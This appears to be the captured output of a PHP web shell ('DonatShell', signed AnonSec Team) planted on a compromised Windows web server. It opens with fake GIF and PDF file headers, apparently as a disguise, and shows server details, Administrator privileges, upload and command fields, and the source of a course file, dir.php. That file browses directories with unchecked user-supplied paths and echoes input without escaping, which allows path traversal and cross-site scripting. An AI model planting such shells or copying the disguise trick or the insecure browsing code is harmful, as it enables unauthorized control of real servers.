GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST2146/_Archive/_info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST2146/_Archive/_info/dir.php
<?
// dir.php
$TRACK = "<b>".basename(__FILE__)."</b> (".__FILE__.")\n<ol>\n";
ini_set('include_path',"/Data_WWW/CST/".ini_get('include_path')); // ** Add the DOCUMENT_ROOT to the include_path.
// ** Unrestricted access can be set with PUBLIC for unauthorized users or ALL for authorized users in any group.
// To restrict access to a title or titles, list them here. "Admin,User".
$authorizedGroups="PUBLIC"; 
$authorizedUsers = "";
$headTitle = 'Browse to image:'; // ** Set the page <head><title>.  May include page header in switch_case or include files.
$pageTitle = 'Browse to image:';    // ** Set the pageHeader title.    May include page header in switch_case or include files.
$skipAuthentication = true;
include('../Application.phpinc');
if ($_SESSION['DEBUG']) { echo "<b>".__FILE__."</b><br>\n"; }
$displayHeader = false;
$displayMenu = false;
$thisFile = __FILE__; include('../common/pageHeader.phpinc');
$sectionTitle = 'Browse to image:';
$thisFile = __FILE__; include('../common/sectionHeader.phpinc');
$baseDir = $_SESSION['DIRECTORY_ROOT']."/";
// Set variables.
// Array of extensions to include.
// Use false to include files with no extension.
$includeFilter = array('bmp','gif','jpeg','jpg','png','xbm','xpm');
//$includeFilter = array();
// Array of extensions to exclude.
// Use false to exclude files with no extension.
// Set $includeFilter to an empty array to allow all except $excludeFilter extensions.
$excludeFilter = array('phpinc',false);
$f_dir = formValue('dir');
$f_dirCurrent = formValue('dirCurrent');
$f_image = formValue('image');

if ($f_image != "") {
?>
<p>
<br>
<img src="thumb.php?f_image=<?=$f_image?>&f_dirCurrent=<?=$f_dirCurrent?>">
<a href="thumb.php?f_image=<?=$f_image?>&f_dirCurrent=<?=$f_dirCurrent?>">Thumbnail for <?=$f_image?></a>
</p>
<?
}


if ($f_dirCurrent == '') { $f_dirCurrent = $baseDir; }
if($f_dir != '') {
	if ($f_dir != '..') {
		$f_dirCurrent .= $f_dir."/";
	} else {
		$dirArray = explode('/',$f_dirCurrent);
		$temp = array_pop($dirArray);
		$temp = array_pop($dirArray);
		$f_dirCurrent = '';
		foreach ($dirArray as $thisDir) {
			$f_dirCurrent .= $thisDir."/";
		}
		//$f_dirCurrent = $f_dirCurrent;
	}
}
$dirArray = array();
$fileArray = array();
error_reporting(E_ALL);
if ($handle = opendir($f_dirCurrent)) {
	while (false !== ($file = readdir($handle))) {
		if (filetype($f_dirCurrent.$file) == 'dir') {
			if ($file != '.' && ($file != ".." || $f_dirCurrent != $baseDir) && substr($file,0,1) != "_") {
				$dirArray[] = $file;
			}
		} else {
			if (strstr($file,".")) {
				$ext = array_pop(explode('.',$file));
			} else {
				$ext = false;
			}
			if ((count($includeFilter) == 0 || in_array($ext,$includeFilter)) && !in_array($ext,$excludeFilter)) {
				$fileArray[] = $file;
			}
		}
	}
	closedir($handle);
?>
<table style="margin:10px; margin-top:0px;">
<tr><td colspan="3" class="titleSmallBlack">/<?=str_replace($baseDir,"",$f_dirCurrent)?></td></tr>
<?
	$i = 0;
	foreach ($dirArray as $dir) {
		$i++;
?>
	<tr>
		<td class="right">
		<form name="form_Browse_<?=$i?>" action="<?=$_SERVER['PHP_SELF']?>" method="post" style="display:inline;">
			<input name="f_dirCurrent" type="hidden" value="<?=$f_dirCurrent?>">
			<input name="f_dir" type="hidden" value="<?=$dir?>">
<?
	if ($dir != '..') {
?>
			<input name="f_task" type="submit" value="Browse" style="font-size:.5em;">
<?
	} else {
?>
			<input name="f_task" type="submit" value="Up" style="font-size:.5em;">
<?
	}
?>
		</form>
		</td>
		<td><img src="folder.jpg" alt="folder"></td>
		<td><?=$dir?></td>
	</tr>
<?
	}
	$i = 0;
	foreach ($fileArray as $image) {
		$i++;
?>
	<tr>
		<td class="right">
		<form name="form_Select_<?=$i?>" action="<?=$_SERVER['PHP_SELF']?>" method="post" style="display:inline;">
			<input name="f_dirCurrent" type="hidden" value="<?=$f_dirCurrent?>">
			<input name="f_image" type="hidden" value="<?=$image?>">
			<input name="f_task" type="submit" value="Select" style="font-size:.5em;">
		</form>
		</td>
		<td><img src="image.jpg" alt="image"></td>
		<td class="titleSmall"><?=$image?></td>
	</tr>
<?
	}
?>
<tr><th colspan="3">Local</th></tr>
	<tr>
		<th colspan="3">
		<form name="form_Cancel_<?=$i?>" action="<?=$_SERVER['PHP_SELF']?>" method="post" style="display:inline;">
			<input name="f_task" type="hidden" value="Upload">
			<input name="f_image" type="file" style="font-size:.5em;">
		</form>
		</th>
	</tr>
	<tr>
		<th colspan="3">
		<form name="form_Cancel_<?=$i?>" action="<?=$_SERVER['PHP_SELF']?>" method="post" style="display:inline;">
			<input name="f_task" type="submit" value="Cancel" style="font-size:.5em;">
		</form>
		</th>
	</tr>
</table>
<?
} else {
	echo "No files found in ".$f_dirCurrent.".<br>\n";
}
$thisFile = __FILE__; include('../common/sectionFooter.phpinc');
$debugOn = true;
$thisFile = __FILE__; include('../common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team